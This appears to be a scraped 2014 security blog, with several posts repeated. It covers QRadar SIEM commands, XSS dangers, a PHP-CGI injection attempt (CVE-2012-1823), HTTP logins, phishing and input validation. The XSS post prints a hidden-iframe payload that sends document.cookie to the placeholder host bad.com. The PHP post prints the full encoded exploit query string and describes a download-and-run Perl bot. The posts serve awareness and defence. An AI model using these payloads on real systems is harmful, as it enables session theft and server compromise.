Is your SIEM slow? Perhaps this command will help.
[xxx@yyy support]# ./findExpensiveCustomRules.sh
NOTE: This is typically found in /opt/qradar/support/
It'll then tell you where it stored the data
Data can be found in ./CustomRule-xxxx-xx-xx-yyyyyyy.tar.gz
Then you can extract that folder and view the contents
[xxx@yyy support]# tar -zxvf CustomRule-xxxx-xx-xx-yyyyyyy.tar.gz
Good luck parsing through the data! At a high level, I think the top folder's txt/xml file tries to summarize it all. So look in there for the first rule that shows up that is one you wrote. If you need more details, go into the reports folder and do the same thing on each of those files.
AverageActionsTime-xxxx-xx-xx-yyyyyyy.report
AverageExecutionTime-xxxx-xx-xx-yyyyyyy.report
AverageResponseTime-xxxx-xx-xx-yyyyyyy.report
AverageTestTime-xxxx-xx-xx-yyyyyyy.report
MaximumResponseTime-xxxx-xx-xx-yyyyyyy.report
MaximumTestTime-xxxx-xx-xx-yyyyyyy.report
MaximumActionsTime-xxxx-xx-xx-yyyyyyy.report
MaximumExecutionTime-xxxx-xx-xx-yyyyyyy.report
TotalResponseCount-xxxx-xx-xx-yyyyyyy.report
TotalResponseTime-xxxx-xx-xx-yyyyyyy.report
TotalActionsCount-xxxx-xx-xx-yyyyyyy.report
TotalTestCount-xxxx-xx-xx-yyyyyyy.report
TotalActionsTime-xxxx-xx-xx-yyyyyyy.report
TotalTestTime-xxxx-xx-xx-yyyyyyy.report
TotalExecutionCount-xxxx-xx-xx-yyyyyyy.report
TotalExecutionTime-xxxx-xx-xx-yyyyyyy.report
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, December 22, 2014
QRadar SIEM 101: Reference Maps
Reference Maps allow you to query based off key-value pairs. An example of this would be if you have certain UserIds that are only allowed to login to a specific list of Workstations. How can you set this up?
At the console command prompt the first thing you must do is create a Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh create yourReferenceMapName MAP ALNIC
NOTE: ALNIC = Alphanumeric data that ignores case. You can replace this with ALN (case sensitive), or IP (for IPs), or NUM (for numbers)
NOTE: The shell script is typically found in this location: /opt/qradar/bin/ReferenceDataUtil.sh
Next you can create a CSV file that you'll use to import the data.
key1,data userid1,WorkstationName1 userid2,WorkstationName1 userid2,WorkstationName2 userid3,WorkstationName3 userid4,WorkstationName4
NOTE: The first row is the column headers, just keep them as literally the words key1,data
Then you import/load that file into the Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh load yourReferenceMapName ~/myfile.csv
Then to validate it worked you can print them all out
[xxx@yyy ~]# ./ReferenceDataUtil.sh list yourReferenceMapName displayContents
If you goofed, first delete, then re-add
[xxx@yyy ~]# ./ReferenceDataUtil.sh delete yourReferenceMapName WorkstationName1 userid1 Key1
[xxx@yyy ~]# ./ReferenceDataUtil.sh add yourReferenceMapName WorkstationName1a userid1 Key1
If you really goofed, purge them all and start over
[xxx@yyy ~]# ./ReferenceDataUtil.sh purge yourReferenceMapName
If you really really goofed, delete the whole Reference Map
[xxx@yyy ~]# ./ReferenceDataUtil.sh remove yourReferenceMapName
If all is well, and you created it successfully, you can goto the GUI and add a filter with it
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
At the console command prompt the first thing you must do is create a Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh create yourReferenceMapName MAP ALNIC
NOTE: ALNIC = Alphanumeric data that ignores case. You can replace this with ALN (case sensitive), or IP (for IPs), or NUM (for numbers)
NOTE: The shell script is typically found in this location: /opt/qradar/bin/ReferenceDataUtil.sh
Next you can create a CSV file that you'll use to import the data.
key1,data userid1,WorkstationName1 userid2,WorkstationName1 userid2,WorkstationName2 userid3,WorkstationName3 userid4,WorkstationName4
NOTE: The first row is the column headers, just keep them as literally the words key1,data
Then you import/load that file into the Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh load yourReferenceMapName ~/myfile.csv
Then to validate it worked you can print them all out
[xxx@yyy ~]# ./ReferenceDataUtil.sh list yourReferenceMapName displayContents
If you goofed, first delete, then re-add
[xxx@yyy ~]# ./ReferenceDataUtil.sh delete yourReferenceMapName WorkstationName1 userid1 Key1
[xxx@yyy ~]# ./ReferenceDataUtil.sh add yourReferenceMapName WorkstationName1a userid1 Key1
If you really goofed, purge them all and start over
[xxx@yyy ~]# ./ReferenceDataUtil.sh purge yourReferenceMapName
If you really really goofed, delete the whole Reference Map
[xxx@yyy ~]# ./ReferenceDataUtil.sh remove yourReferenceMapName
If all is well, and you created it successfully, you can goto the GUI and add a filter with it
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Friday, December 19, 2014
XSS is Worse than you Think
Cross Site Scripting (aka XSS) is a vulnerability that allows attackers to inject client-side scripts into webpages. If you're like most most developers (including myself at one point) you might giggle a little bit when somebody tells you it's a High Risk vulnerabilty. After all, nearly every example you've seen online or in security training allowed the attacker to create an alert popup box. Oooooooooh ... scarey!!!!!!! 
Well guess what, it's worse than you think! There's a reason why OWASP keeps putting it near the top of their Top 10 Web Vulnerabilities list.
For example, one slightly more exciting example may be using XSS to redirect you to a malicious phishing website that looks identical to the site you thought you were going to.
Or perhaps an XSS flaw is used to create a popup window offering this great coupon deal, but when you click on the deal it takes you to the attackers malicious malware ridden website.
Even more scarey is using XSS is used to inject a hidden iframe that takes advantage of a vulnerability in your browser and is used to download a trojan or virus, commonly seen in Watering Hole Attacks.
Another frightening scenario, imagine logging into your Bank website, only to find out a few minutes later that somebody just transferred all the money out of your account. This blog walks through how with an XSS vulnerability a session cookie can be hijacked, posted to pastebin, and seconds later the attacker logs in as you. Ouch!
Imagine being the Administrator of a Blog, navigating to the page where you moderate comments, getting a session expired message, re-entering your credentials, the moving on with your work ... only to find out a few days later that your Admin account and password were stolen. This blog walks through exactly how that is possible thru XSS. Even system admins aren't safe!
Oh, but we're not done yet! Imagine navigating to a website where you enter your Credit Card, CVV, etc. for payment. This blog mentions just how simple it is to enable a key logger thru XSS and start sending all your keystrokes to an attacker. Brutal!
All of this because a developer didn't take the time to analyze their code and fix/prevent XSS. XSS is much worse than you ever thought! Perform statis analysis of your code to find these flaws before they ever go-live and fix them. Perform Dynamic Analysis scans of your websites to find vulnerabilities already existing and fix them. Sanitize all input always (If you haven't yet, read my blog on input validation to make sure you are covering all your bases).
Happy Coding!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Well guess what, it's worse than you think! There's a reason why OWASP keeps putting it near the top of their Top 10 Web Vulnerabilities list.
For example, one slightly more exciting example may be using XSS to redirect you to a malicious phishing website that looks identical to the site you thought you were going to.
==> document.location='http://www.some-other-webpage.com';
Or perhaps an XSS flaw is used to create a popup window offering this great coupon deal, but when you click on the deal it takes you to the attackers malicious malware ridden website.
Even more scarey is using XSS is used to inject a hidden iframe that takes advantage of a vulnerability in your browser and is used to download a trojan or virus, commonly seen in Watering Hole Attacks.
==> <iframe style="position:absolute;top:-9999px" src="http://bad.com/
a.html?q=<script>document.write('<img src=\"http://bad.com/
?c='+encodeURIComponent(document.cookie)+'\">')</script>"></ iframe >
Another frightening scenario, imagine logging into your Bank website, only to find out a few minutes later that somebody just transferred all the money out of your account. This blog walks through how with an XSS vulnerability a session cookie can be hijacked, posted to pastebin, and seconds later the attacker logs in as you. Ouch!
Imagine being the Administrator of a Blog, navigating to the page where you moderate comments, getting a session expired message, re-entering your credentials, the moving on with your work ... only to find out a few days later that your Admin account and password were stolen. This blog walks through exactly how that is possible thru XSS. Even system admins aren't safe!
Oh, but we're not done yet! Imagine navigating to a website where you enter your Credit Card, CVV, etc. for payment. This blog mentions just how simple it is to enable a key logger thru XSS and start sending all your keystrokes to an attacker. Brutal!
All of this because a developer didn't take the time to analyze their code and fix/prevent XSS. XSS is much worse than you ever thought! Perform statis analysis of your code to find these flaws before they ever go-live and fix them. Perform Dynamic Analysis scans of your websites to find vulnerabilities already existing and fix them. Sanitize all input always (If you haven't yet, read my blog on input validation to make sure you are covering all your bases).
Happy Coding!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, December 18, 2014
PHP Injection Attempt Explained
Today I'll make an attempt to explain what I know about a PHP injection attempt.
The first thing you may see is something in your IIS or Web logs that is HTML encoded in a url
hxxp://www.mysite.com//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
If you dump that into an html decoder ( http://meyerweb.com/eric/tools/dencoder/ ) you'll see what it really is
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
So you now see that the real url is was trying to get at is
hxxp://www.mysite.com//cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
Which after a google search appears to be related to CVE-2012-1823 ( http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1823 ), which says that when PHP is configured as a CGI script, then it cannot handle query strings that lack an = (equals sign) ... which sounds insanely simple ... but that apparently allows remote attackers to execute arbitrary code by placing command-line options in the query string ... many of which are typically related to skipping certain php_getopt for the 'd' case.
What you'll also see inside the body of post data is some php code such as this code I posted which does multiple things ...
1.) move to the tmp folder
2.) makes a request to a php file which perhaps logs the ip address of the victim and sets it up for the botnet?
3.) downloads a txt file (which is actually perl code) which is the payload of the attack
4.) runs the perl file just downloaded
5.) deletes the perl file just executed
6.) deletes all temporary files the perl file just created
7.) deletes everything else in the tmp folder
Inside the perl file/code downloaded you might see something like this code I posted.
It appears to contain many interesting things such as ...
1.) lots of variables declared (that start with the 'my' keyword) including an ip for the command and control server
2.) lots of functions declared (that start with the 'sub' keyword) that aren't actually getting executed now, but maybe later!
3.) code inbetween there that executes immediately and indefinitely is inside the while(1) infinite loop such as connecting to the IRC servers and listening for incoming messages. It is likely that it will use some of those functions declared with the 'sub' keyword based on which incoming messages it receives.
4.) some of those functions to be used later include things like [Port Scan an IP, NMap Scan an IP, UDP DDoS and IP, Download a file from somewhere, Open a Shell, etc.
What to do if you see this?
Check your firewall, IDS/IPS, or whatever other logs and look for outbound connections to [Any urls/IPs in the PHP wget statements, Any IPs in the Perl code]. If no, then hopefully the attacks failed. If yes, think worst case and consider resetting passwords and rebuilding the server from scratch because with that kind of access to your server you don't know what else they might've done and what other backdoors they may have created. If they really got in, also look at logs for any attempts to move further into your network and hop from this server to another one. Also don't forget to check your servers to make sure the vulnerability attempted is fixed on all servers (not just the one attacked), because you may patch this one and they just perform the same thing on the next server.
Hope this helps a bit! Good luck!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
The first thing you may see is something in your IIS or Web logs that is HTML encoded in a url
hxxp://www.mysite.com//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
If you dump that into an html decoder ( http://meyerweb.com/eric/tools/dencoder/ ) you'll see what it really is
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
So you now see that the real url is was trying to get at is
hxxp://www.mysite.com//cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
Which after a google search appears to be related to CVE-2012-1823 ( http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1823 ), which says that when PHP is configured as a CGI script, then it cannot handle query strings that lack an = (equals sign) ... which sounds insanely simple ... but that apparently allows remote attackers to execute arbitrary code by placing command-line options in the query string ... many of which are typically related to skipping certain php_getopt for the 'd' case.
What you'll also see inside the body of post data is some php code such as this code I posted which does multiple things ...
1.) move to the tmp folder
2.) makes a request to a php file which perhaps logs the ip address of the victim and sets it up for the botnet?
3.) downloads a txt file (which is actually perl code) which is the payload of the attack
4.) runs the perl file just downloaded
5.) deletes the perl file just executed
6.) deletes all temporary files the perl file just created
7.) deletes everything else in the tmp folder
Inside the perl file/code downloaded you might see something like this code I posted.
It appears to contain many interesting things such as ...
1.) lots of variables declared (that start with the 'my' keyword) including an ip for the command and control server
2.) lots of functions declared (that start with the 'sub' keyword) that aren't actually getting executed now, but maybe later!
3.) code inbetween there that executes immediately and indefinitely is inside the while(1) infinite loop such as connecting to the IRC servers and listening for incoming messages. It is likely that it will use some of those functions declared with the 'sub' keyword based on which incoming messages it receives.
4.) some of those functions to be used later include things like [Port Scan an IP, NMap Scan an IP, UDP DDoS and IP, Download a file from somewhere, Open a Shell, etc.
What to do if you see this?
Check your firewall, IDS/IPS, or whatever other logs and look for outbound connections to [Any urls/IPs in the PHP wget statements, Any IPs in the Perl code]. If no, then hopefully the attacks failed. If yes, think worst case and consider resetting passwords and rebuilding the server from scratch because with that kind of access to your server you don't know what else they might've done and what other backdoors they may have created. If they really got in, also look at logs for any attempts to move further into your network and hop from this server to another one. Also don't forget to check your servers to make sure the vulnerability attempted is fixed on all servers (not just the one attacked), because you may patch this one and they just perform the same thing on the next server.
Hope this helps a bit! Good luck!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, December 16, 2014
HTTP Login Pages are a Big No-No
You should NEVER enter your username and password into a website that runs under HTTP. Contact the owner of that website and request they add a simple SSL Certificate so that the website runs under HTTPS. Why? Because otherwise your password will be sent in plain-text across the internet from your computer, one router at a time, until it reaches that company's web server. Anywhere in between, your password could've been captured. Whomever captured your password can then turn around and login to that website, or even worse than that, try to use the same password to login to your email, your bank, or any other website of their choice.
Most common places of compromise would be if you're logging into a website at a wireless hotspot like a Coffee Shop, Hotel, or Airport. Why? Cause it's so simple and trivial to sniff shared unprotected wireless for plain text passwords. But it doesn't stop there, I would not trust entering in my password on HTTP even if it's from my home, hard-wired in, or from my work on our Intranet. It takes one malicious insider at your ISP or at your work or in your house, or wherever to sniff those packets and steal your information.
It's sad, but I did a simple search for "Support Login" on google, and found numerous websites that are still running HTTP logins. I was able to proof-of-concept that fact that on all those websites your password is transmitted plain text. Use this pastebin as an example of how HTTP login pages just don't cut it ...
http://pastebin.com/vKtNx2DN
Note: I did send an email to each one of these company's support emails on their website as a friendly reminder to upgrade to HTTPS.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Most common places of compromise would be if you're logging into a website at a wireless hotspot like a Coffee Shop, Hotel, or Airport. Why? Cause it's so simple and trivial to sniff shared unprotected wireless for plain text passwords. But it doesn't stop there, I would not trust entering in my password on HTTP even if it's from my home, hard-wired in, or from my work on our Intranet. It takes one malicious insider at your ISP or at your work or in your house, or wherever to sniff those packets and steal your information.
It's sad, but I did a simple search for "Support Login" on google, and found numerous websites that are still running HTTP logins. I was able to proof-of-concept that fact that on all those websites your password is transmitted plain text. Use this pastebin as an example of how HTTP login pages just don't cut it ...
http://pastebin.com/vKtNx2DN
Note: I did send an email to each one of these company's support emails on their website as a friendly reminder to upgrade to HTTPS.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
It's Time to Kill HTTP
You've seen the green lock 
next to a URL before indicating you're on a secure website. If you're savvy enough you probably even confirm it's there before you do sensitive things like pay with a credit card or do your online banking. I contend that's not enough. It's time to kill HTTP and move all websites over to HTTPS.
Why? Security. Privacy. Awareness. Google says so. It's time.
Security - For example if you're logging into any website and you'd don't see the lock you might as well just post your password on the front page of Facebook. Believe me when I say it's become trivial to do things like sniff Hotel and Coffee Shop wireless for pain text passwords over HTTP. And at work all it takes is somebody on your wireless or a Joe Blow with access to a network jack to see your credentials or critical internal data floating across the wire.
Privacy - There are levels of snooping that go beyond trying to grab your password. Imagine HTTP traffic as the news ticker scrolling across try bottom of CNN. Any data that you submit over HTTP is plain as day out in the open and trivial to collect and aggregate. Imagine all the data you plug in such as email addresses , street address, zip code , phone , etc. being collected and saved into a database. But above and beyond that ... What are you typing into your search engine? Perhaps your current health conditions? Your political affiliations? And more ... What if you're typing nothing ... You're just surfing the internet ? All the urls and pages you go to can tell a lot about a person like where they live, what they do on the weekend , what age kids they have , etc. Why would you ever want that in plain text for the world to see?
Awareness - Hey, if I haven't scared you yet, let me put it bluntly ... The Internet is dangerous. Don't trust it. There are lots of disturbed people and companies out there. People need to be told the truth and made aware that the only true way to stay safe is encrypt everything. Everything. Emails , web traffic, public websites, internal work websites, everything.
Google says so - Most recently they wrote a blog ( Chromium Blog - Making HTTP non-secure ) saying they're considering marking HTTP urls as "insecure" ... Letting the browser finally tell the truth ... If you're not on HTTPS you are not safe! Google also announced this year that they will start giving SEO search ranking bonus points to websites running all HTTPS ( Google Webmaster - HTTPS as a Ranking ).
It's Time - It's time for HTTP to die. Performance is no longer an issue. Today's modern hardware and virtual environments can handle HTTPS even on peak days like Cyber Monday. Cost is no longer an excuse, as SSL Certificates are almost as cheap as candy nowadays. SEO is no longer an issue. Google has decided to reward you for it. There's no more excuses, it's time.
Snowden showed us that everybody is watching you and the X-Files had it right when they said "Trust No One". The next time you build a website or web service whether it's out on the Internet or local to your company's Intranet, do the smart thing and HTTPS-it-up! The next time you're on an HTTP website, second guess everything you're doing. If you love that site, reach out to the owner and tell them to convert over to HTTPS. It's time for everybody to jump aboard and do what's right .... Kill HTTP.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
next to a URL before indicating you're on a secure website. If you're savvy enough you probably even confirm it's there before you do sensitive things like pay with a credit card or do your online banking. I contend that's not enough. It's time to kill HTTP and move all websites over to HTTPS.
Why? Security. Privacy. Awareness. Google says so. It's time.
Security - For example if you're logging into any website and you'd don't see the lock you might as well just post your password on the front page of Facebook. Believe me when I say it's become trivial to do things like sniff Hotel and Coffee Shop wireless for pain text passwords over HTTP. And at work all it takes is somebody on your wireless or a Joe Blow with access to a network jack to see your credentials or critical internal data floating across the wire.
Privacy - There are levels of snooping that go beyond trying to grab your password. Imagine HTTP traffic as the news ticker scrolling across try bottom of CNN. Any data that you submit over HTTP is plain as day out in the open and trivial to collect and aggregate. Imagine all the data you plug in such as email addresses , street address, zip code , phone , etc. being collected and saved into a database. But above and beyond that ... What are you typing into your search engine? Perhaps your current health conditions? Your political affiliations? And more ... What if you're typing nothing ... You're just surfing the internet ? All the urls and pages you go to can tell a lot about a person like where they live, what they do on the weekend , what age kids they have , etc. Why would you ever want that in plain text for the world to see?
Awareness - Hey, if I haven't scared you yet, let me put it bluntly ... The Internet is dangerous. Don't trust it. There are lots of disturbed people and companies out there. People need to be told the truth and made aware that the only true way to stay safe is encrypt everything. Everything. Emails , web traffic, public websites, internal work websites, everything.
Google says so - Most recently they wrote a blog ( Chromium Blog - Making HTTP non-secure ) saying they're considering marking HTTP urls as "insecure" ... Letting the browser finally tell the truth ... If you're not on HTTPS you are not safe! Google also announced this year that they will start giving SEO search ranking bonus points to websites running all HTTPS ( Google Webmaster - HTTPS as a Ranking ).
It's Time - It's time for HTTP to die. Performance is no longer an issue. Today's modern hardware and virtual environments can handle HTTPS even on peak days like Cyber Monday. Cost is no longer an excuse, as SSL Certificates are almost as cheap as candy nowadays. SEO is no longer an issue. Google has decided to reward you for it. There's no more excuses, it's time.
Snowden showed us that everybody is watching you and the X-Files had it right when they said "Trust No One". The next time you build a website or web service whether it's out on the Internet or local to your company's Intranet, do the smart thing and HTTPS-it-up! The next time you're on an HTTP website, second guess everything you're doing. If you love that site, reach out to the owner and tell them to convert over to HTTPS. It's time for everybody to jump aboard and do what's right .... Kill HTTP.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, November 17, 2014
Phishing Samples November 2014
Phishing
is the attempt to acquire sensitive information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication.
I dumped some recent samples onto pastebin
You'll see plays on topics like
- target credit card breach
- Facebook
- linked in
- Medicare
- Job postings - credit reports
- your bank
- UPS shipments
- FedEx shipments
- so many more....
Protecting yourself is simpler than you think. Here are some simple steps I recommend ...
- If you were not expecting the email be extra cautious
- even if you were expecting an email still check the basics below
- hover over the email or click reply and verify the sender is a legit address
- hover over or copy and paste links and verify they are legit
- better yet resist clicking on any link at all, instead manually type the URL you want and go to the site on your own terms
- don't open attachments, legit websites won't send them ... If you are waiting on something , manually go to the website , login, and check there
Also keep in mind the same topics are starting to apply to text messages too. Don't click on links.
What's the worst that could happen? Think ...
- virus on your PC
- virus on your phone
- identify theft
- stolen password
- stolen credit card
- bad bad things ...
Stay safe out there !
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
I dumped some recent samples onto pastebin
You'll see plays on topics like
- target credit card breach
- linked in
- Medicare
- Job postings - credit reports
- your bank
- UPS shipments
- FedEx shipments
- so many more....
Protecting yourself is simpler than you think. Here are some simple steps I recommend ...
- If you were not expecting the email be extra cautious
- even if you were expecting an email still check the basics below
- hover over the email or click reply and verify the sender is a legit address
- hover over or copy and paste links and verify they are legit
- better yet resist clicking on any link at all, instead manually type the URL you want and go to the site on your own terms
- don't open attachments, legit websites won't send them ... If you are waiting on something , manually go to the website , login, and check there
Also keep in mind the same topics are starting to apply to text messages too. Don't click on links.
What's the worst that could happen? Think ...
- virus on your PC
- virus on your phone
- identify theft
- stolen password
- stolen credit card
- bad bad things ...
Stay safe out there !
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, October 23, 2014
Security as a Career
Career and soul searching ? In high school and just starting to think about college? In college for computer science but not sure what you want your first job to be? Been working in IT for many years but looking for something else?
Security has quickly become a viable option with a promising outlook. From my experience I see this arena as wide open and struggling to find strong talent with a dedication to security.
With all the news about Heartbleed, Shellshock, Samdworm, and Poodle ... Plus all the stories about Russian espionage , Chinese hacktivism, Retail outlet POS breaches, etc .., it's clear to me that when looking at the industry as a whole the bad guys are winning.
Thus we need you to step up and help build and and strengthen the army of good guys!
If your concerned about where or how you'd fit in, don't be. The good news is I am certain no matter what your area of expertise is, there is a need for you to step up and solidify the security in that area.
Security can be a daunting task, because the landscape is constantly changing. The required skillset is ever growing. You need to know about and manage all network types, all applications, all operating systems, etc.
Whatever your skill or background, as long as you're willing to get excited about security, be energetic, and have a desire to learn ... then consider making Security a career choice. The industry as a whole needs you.
If you're not up for the move quite yet, at a minimum you should learn security and start using it daily in your current role. Start writing more secure code. Start closing the wholes in your network. Start locking down your servers. Start patching your applications. Stay on top of your game and read the security news/blogs. Be that pro-active voice in your team meetings suggesting changes to improve security.
I look forward to seeing your positive contributions in action!
Bonus Blogging!
Wondering where to get started? Here's my tips:
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Security has quickly become a viable option with a promising outlook. From my experience I see this arena as wide open and struggling to find strong talent with a dedication to security.
With all the news about Heartbleed, Shellshock, Samdworm, and Poodle ... Plus all the stories about Russian espionage , Chinese hacktivism, Retail outlet POS breaches, etc .., it's clear to me that when looking at the industry as a whole the bad guys are winning.
Thus we need you to step up and help build and and strengthen the army of good guys!
If your concerned about where or how you'd fit in, don't be. The good news is I am certain no matter what your area of expertise is, there is a need for you to step up and solidify the security in that area.
- Are you a database guru? Know your SQL inside and out? Great! Nearly all of the industries information that needs protecting is stored in a database, so securing them is crucial!
- Are you a website guru? Know your forms, JavaScript, etc? Awesome! Websites are the prime target for most attacks because of their public exposure to the world. And currently there are too many people building them, many which don't truly understand what they're doing ... They need your help to understand attacks and mitigate them.
- Are you an application guru? Building windows apps, intranet sites, Sharepoint pages, etc? Sweet. That is one of the biggest holes in our industry right now is once you're beyond the firewalls and inside the network. Insider attacks are generally more costly to a company than any other attack ... And in general internal apps are given the Least scrutiny and most lax in terms of security ... so they certainly need your help understand in the basics of secure development !
- Are you a network guru? If you're familiar with routers, switches, and firewalls then it's a pretty logical leap to make to the security realm. Your help would be greatly appreciated!
- Are you a system administrator? Familiar with patching servers, setting up accounts and permissions? Your type of knowledge is greatly needed in the security arena.
- Are you more of the management type? There are lots of opportunities to lead and coordinate Security Incident response events, to perform Risk Management, deal with compliance and auditing. If you like those things your help is needed!
- Are you an Assembly programmer? You could jump right into Malware analysis!
- Are you a help desk/custom service type person? You could get involved in the day to day action of Security Operations!
Security can be a daunting task, because the landscape is constantly changing. The required skillset is ever growing. You need to know about and manage all network types, all applications, all operating systems, etc.
Whatever your skill or background, as long as you're willing to get excited about security, be energetic, and have a desire to learn ... then consider making Security a career choice. The industry as a whole needs you.
If you're not up for the move quite yet, at a minimum you should learn security and start using it daily in your current role. Start writing more secure code. Start closing the wholes in your network. Start locking down your servers. Start patching your applications. Stay on top of your game and read the security news/blogs. Be that pro-active voice in your team meetings suggesting changes to improve security.
I look forward to seeing your positive contributions in action!
Bonus Blogging!
Wondering where to get started? Here's my tips:
- Learn Networking & the OSI model and play with a tool called Wireshark
- Once you're comfortable with that, get VMWare Workstation or Oracle Virtual Box installed
- Download Kali Linux in a VM and experiment with all it's tools such as starting with nmap
- After a while, consider getting other older OS's in a VM, then using Kali Linux's metasploit software against those Old OS's to practice understanding how exploits work
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Wednesday, September 10, 2014
What is the 'Input' in Input Validation?
What is the 'Input' in Input Validation?
By Justin C Miller
Posted 9/10/2014
You are a programmer. You've heard of those nasty words like SQL Injection and Cross-Site Scripting (XSS) and Buffer Overflow. You've learned that a key step to preventing them is to perform Input Validation. You sorta know how to do that with things like ...
- Strongly Typed data
- Whitelisting
- Regular Expressions
- Max and Min length checks
You might even be a bit further ahead in the game and know about Security focused encoding libraries like WPL, Coverity Security Library, or the OWASP Reform library.
But an even more important question that I think a lot of developers overlook is the "What INPUT do I apply this validation to?"
The simple answer is ALL INPUT.
The more complicated question becomes, "What is input?"
You always validate the input of a TEXTBOX. If you are a web developer you probably also know that people like to tinker with QUERY STRING PARAMETERS so you validate them. Is that it? Are we done? Is my application safe?
Hopefully your school, or your PCI auditor, or your teammates taught you better. There's a lot more work to do.
Some of the simpler ones to remember involve websites. COOKIES for example are easy to modify (for Internet Explorer all you need is Notepad) so you better validate them. URLS themself should also be validated before used since they're freely modifiable by any user in the address bar of their browser. Why validate? Imagine if I used a cookie value to query the database for a user record. Sounds ripe for SQL Injection. Or imagine if I displayed the current Url onto the screen of an error page. Sounds like a chance for using XSS to inject an iframe.
If you've ever heard of tools like TamperData, Burp, or Fiddler you'll know that HIDDEN FIELDS on your website can also be modified so you better validate them. And those tools let you modify HTTP HEADERS like REFERRER and USER AGENT so you better validate them before they're used. Not convinced its necessary? Imagine you base a SQL query off a hidden field or recording the referrer in a table for analytics. Sounds like SQL injection is in play. Are you checking the user agent to validate what browsers you support and then displaying the user agent if you rejected them? Sounds like XSS could occur.
Other ones that might get overlooked include CHECKBOXES, RADIO BUTTONS, and DROP DOWNS. Client side it kinda seems like these are non-editable. But truth is if you have any of those free tampering tools, you can change the values. Why care? I'm guessing you are querying the database based on their values so SQL injection is in play and this you better validate them.
In a Windows Form application you might need a DATAGRID that gives the user the feel they are directly editing a SQL table. You better perform input validation here since you touching the database.
VIEW STATE on a web page can be messed with thus you better validate and treat it as input to prevent attacks.
I also would not trust SESSION STATE data. Who knows where it came from or how it got filled. If you're querying you database based on information you had saved in the session, I'd be sure to validate it and prevent SQL Injection.
Another crazy one I've seen before that is worth considering is HTML CONTROL ATTRIBUTES. For example, if you're writing any of your code's logic based on what is in the control's CLASS attribute, be careful ... you might open the door to one of these attacks and this you better validate and treat it as input.
